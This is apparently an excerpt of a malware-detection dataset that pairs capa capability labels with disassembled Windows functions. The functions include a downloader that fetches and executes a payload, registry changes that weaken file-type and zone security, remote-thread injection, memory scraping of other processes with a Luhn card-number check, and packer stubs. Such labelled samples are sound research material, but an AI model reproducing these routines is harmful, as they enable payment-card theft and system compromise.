joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x44b610
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 8
mov cl, byte [0x65f042]
mov al, byte [0x65f041]
or cl, 0x10
push ebx
shr cl, 3
and ecx, 0xff
mov bl, byte [0x65f04b]
mov dword [esp + 4], ecx
xor bl, al
fild dword [esp + 4]
mov byte [0x65f04b], bl
mov ebx, dword [esp + 0x10]
test ebx, ebx
fdivr qword [0x6629b0]
push esi
fadd qword [0x65f058]
fstp qword [0x662a20]
je 0x44b6ce
push 0x65f0a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x65f030]
mov ecx, dword [0x65f034]
mov esi, eax
mov dword [esp + 0xc], 0
lea eax, [edx + edx]
or eax, ecx
mov dword [esp + 8], eax
fild qword [esp + 8]
test esi, esi
fadd qword [0x65f058]
fstp qword [0x65f058]
je 0x44b6ce
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x65f07c
push esi
call edi
push 0x65f064
push esi
call edi
xor eax, eax
pop edi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x44b6ce
lea ecx, [esp + 0x14]
inc eax
add ecx, 4
cmp eax, 0x36
jae 0x44b6d8
cmp dword [ecx], 0
jne 0x44b6c0
pop esi
xor al, al
pop ebx
add esp, 8
ret 4
mov dword [ebx], esi
pop esi
mov al, 1
pop ebx
add esp, 8
ret 4

Function at 0x58ad81
Capabilities:
Encode data using xor

Disassembly:
adc dword [esi - 0x45ff8fe9], ebx
in al, dx
scasd eax, dword es:[edi]
lahf
adc byte [ebp + 0x7741380d], dl
jge 0x58ad37
xchg edi, eax
xor dword [ecx + 0x4b], 0xb2ab26f0
add eax, 0x2feb4fcb
pop ds
daa
rcl dword [eax - 0x37], cl
xchg ebx, eax
cmc
mov eax, dword [0xdfb01b5b]
pop esi
cmp byte [ebx - 0x4c], cl
pop dword [edi]
fdiv qword [esi + 0x23]
popal
enter 0x2c03, 0xffffffffffffffb7
sub ecx, dword [edi - 0x2fe18528]
pop edi
xor dword [esi], ecx
mov bl, byte [esp + esi*4 - 0xb]
aas
jg 0x58adbb
invalid
dec esi
out dx, al
in eax, dx
imul esp, dword [ecx], 0x781cd4ea
sahf
dec esi
rcl byte [ecx + 0x2a], cl
mov ecx, 0xaedeec5a
outsb dx, byte [esi]
out dx, al
lodsb al, byte [esi]
inc ebx
cmpsd dword [esi], dword es:[edi]
jg 0x58ae3d
cdq
mov byte [ecx + 0x2ef1ac6a], dl
stc
xchg edi, eax
and dword [ecx + esi + 0x5cb3145], esi
mov esi, 0x2ebe4664
pushal
int3
add dword [edi], ebp
sal dl, 0x8a
pop edx
sahf
invalid
Function at 0x6578fd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x65f3f8
cmp edx, dword [eax]
je 0x65791f
add eax, 8
inc ecx
cmp eax, 0x65f488
jl 0x657910
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x65f3f8]
jne 0x657a4d
mov eax, dword [0xa5bdd4]
cmp eax, 1
je 0x657a27
test eax, eax
jne 0x657950
cmp dword [0x65f324], 1
je 0x657a27
cmp edx, 0xfc
je 0x657a4d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x657987
lea eax, [ebp - 0x1a4]
push 0x65ca20
push eax
call fcn.006582e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00658770
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x6579ca
lea eax, [ebp - 0x1a4]
push eax
call fcn.00658770
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65ca1c
push edi
call fcn.0065a640
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x65ca00
push eax
call fcn.006582e0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.006582f0
lea eax, [ebp - 0xa0]
push 0x65c9fc
push eax
call fcn.006582f0
push dword [esi + 0x65f3fc]
lea eax, [ebp - 0xa0]
push eax
call fcn.006582f0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x65c9d4
push eax
call fcn.0065a5b4
add esp, 0x2c
pop edi
jmp 0x657a4d
lea eax, [ebp + 8]
lea esi, [esi + 0x65f3fc]
push 0
push eax
push dword [esi]
call fcn.00658770
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4024c0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push 0
push 0x84200000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x407ad4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1c], eax
push 0x40
push 0
lea edx, [ebp - 0x5c]
push edx
call fcn.00401940
add esp, 0xc
push 0x3f
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x15c]
push ecx
call fcn.00401290
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x15c]
push eax
call fcn.00402680
add esp, 8
test eax, eax
jne 0x40252b
xor eax, eax
jmp 0x402679
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x10], ecx
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402460
add esp, 8
mov edx, dword [ebp - 0x18]
push edx
push 0
mov eax, dword [0x407a6c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x18]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x200
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402616
cmp dword [ebp - 0xc], 0
je 0x402616
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401980
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
jmp 0x4025aa
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004016f0
add esp, 0x10
mov dword [ebp - 4], eax
push 5
mov edx, dword [ebp - 4]
push edx
push 0x407360
mov eax, dword [ebp - 0x14]
push eax
call fcn.004014d0
add esp, 0x10
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [0x407a6c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x402ae0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x402b24
xor eax, eax
jmp 0x402be8
cmp dword [ebp - 8], 1
jne 0x402b3b
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402be8
mov dword [ebp - 0xc], 0x25
push 0x25
push 0
push 0x407aa0
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x407aa0
push 0
push 0
push 0x406758
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402b86
mov edx, 1
imul eax, edx, 0
movzx ecx, byte [eax + 0x407aa0]
test ecx, ecx
jne 0x402b94
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402be8
push 0x4a
push 0
push 0x4075a0
call fcn.00401940
add esp, 0xc
push 0x4a
push 0x4075a0
push 0x407aa0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407aa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x402bd9
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402be8
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x403010
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40307f
push str..exe_.bat_.reg_.vbs_
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
push edx
push str..exe_.bat_.reg_.vbs_
push 1
push 0
push str.LowRiskFileTypes
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push 0x406870
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4030cd
mov dword [ebp - 0xc], 0
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push 0x4068b4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403125
mov dword [ebp - 0xc], 0
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push str.1806
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40312b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esp, ebp
pop ebp
ret
Function at 0x403130
Capabilities:
Create process on windows
Create process suspended
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x44
push 0
lea eax, [ebp - 0x68]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x68], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x24]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [0x4071a4], 1
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push 0
push 0x407380
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40319f
jmp 0x40329f
push 2
push 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [0x4071a0]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x4031d0
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x40329f
mov edx, dword [ebp - 4]
mov dword [0x4071a0], edx
cmp dword [ebp + 8], 1
jne 0x403229
mov eax, dword [0x4071a8]
mov dword [0x4071ac], eax
mov ecx, dword [ebp - 0x1c]
mov dword [0x4071b0], ecx
push 2
push 0
push 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [0x4071b4]
push ecx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x403221
push 0
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x40329f
mov eax, dword [ebp - 8]
mov dword [0x4071b4], eax
mov ecx, dword [0x407a70]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.00403300
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x403259
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x40329f
mov edx, entry0
sub edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x403293
cmp dword [ebp + 8], 0
jne 0x403291
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x40329f
push 0
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret
Function at 0x403a50
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x407220
call fcn.00401940
add esp, 0xc
mov dword [0x407220], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x407220
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x407244
call fcn.00403ca0
add esp, 4
cmp eax, 1
jne 0x403aac
jmp 0x403c43
mov ecx, dword [0x4071a8]
cmp ecx, dword [0x407228]
je 0x403ac8
mov edx, dword [0x4071a8]
cmp edx, dword [0x407238]
jne 0x403acd
jmp 0x403c43
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x407228]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403afd
jmp 0x403c43
cmp dword [0x407ad0], 1
jne 0x403b29
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x407ad8]
cmp dword [ebp - 0x20], 0
jne 0x403b29
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403c43
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x403c39
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401940
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x403b72
cmp dword [ebp - 0xc], 0
je 0x403b72
jmp 0x403c39
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x403b8e
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x403b90
jmp 0x403b30
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x403c34
cmp dword [ebp - 8], 0
je 0x403bb4
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x403bba
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x403bd8
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x403be5
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x4071b8]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00403cf0
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00404610
add esp, 8
jmp 0x403b97
jmp 0x403b30
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x407220
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403a95
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x404eb0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x404f2e
cmp dword [ebp - 8], 0
jne 0x404f21
mov dword [ebp - 0x10], 1
jmp 0x404f28
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
je 0x404f75
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
sub edx, 0x30
mov dword [ebp - 0x14], edx
cmp dword [ebp - 8], 0
je 0x404f60
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x404f6a
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + ecx*4 - 0x48]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x404f12
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jne 0x404f8d
mov dword [ebp - 0x1c], 1
jmp 0x404f94
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x405500
Capabilities:
Create directory
Create process on windows
Create process suspended
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
mov dword [ebp - 4], 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024c0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405644
lea edx, [ebp - 0x480]
push edx
push 0
push 0
push 0x20
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 5
lea eax, [ebp - 0x1c]
push eax
call fcn.00401340
add esp, 8
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x480]
push edx
push 0x406d38
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x278]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x480]
push ecx
push 0x406d44
lea edx, [ebp - 0x278]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x44
push 0
lea edx, [ebp - 0x70]
push edx
call fcn.00401940
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x2c]
push eax
call fcn.00401940
add esp, 0xc
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x70]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x405650
Capabilities:
Delete file
Delete registry key
Persist via run registry key
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [0x407a68]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov ecx, dword [0x407a64]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov edx, dword [0x407a60]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x4071b0]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.SoftwareResilience_Software
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str..DEFAULTSOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x407600
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1e0f7f0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1e0f9d4
pushal
mov esi, section.UPX1
lea edi, [esi - 0x15a1000]
push edi
or ebp, 0xffffffff
jmp 0x1e0f81a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1e0f821
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1e0f810
mov eax, 1
add ebx, ebx
jne 0x1e0f833
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1e0f844
jne 0x1e0f863
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1e0f863
dec eax
add ebx, ebx
jne 0x1e0f850
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1e0f828
add ebx, ebx
jne 0x1e0f85f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1e0f8b5
xor ecx, ecx
sub eax, 3
jb 0x1e0f87b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1e0f8ea
sar eax, 1
mov ebp, eax
jmp 0x1e0f886
add ebx, ebx
jne 0x1e0f886
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1e0f854
inc ecx
add ebx, ebx
jne 0x1e0f894
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1e0f854
add ebx, ebx
jne 0x1e0f8a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1e0f896
jne 0x1e0f8b2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1e0f896
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1e0f8d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1e0f8c6
jmp 0x1e0f816
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1e0f8d4
add edi, ecx
jmp 0x1e0f816
pop esi
mov edi, esi
mov ecx, 0x12a1d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1e0f8f2
cmp byte [edi], 0x4b
jne 0x1e0f8f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1e0f8f7
lea edi, [esi + 0x19e0000]
mov eax, dword [edi]
or eax, eax
je 0x1e0f966
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1a17508]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1a17660]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1e0f924
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1a17664]
or eax, eax
je 0x1e0f960
mov dword [ebx], eax
add ebx, 4
jmp 0x1e0f941
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1e0f997
cmp al, 0xef
ja 0x1e0f98a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1e0f96c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1e0f979
mov ebp, dword [esi + 0x1a17668]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1e0f9cb
sub esp, 0xffffff80
jmp 0x7c3698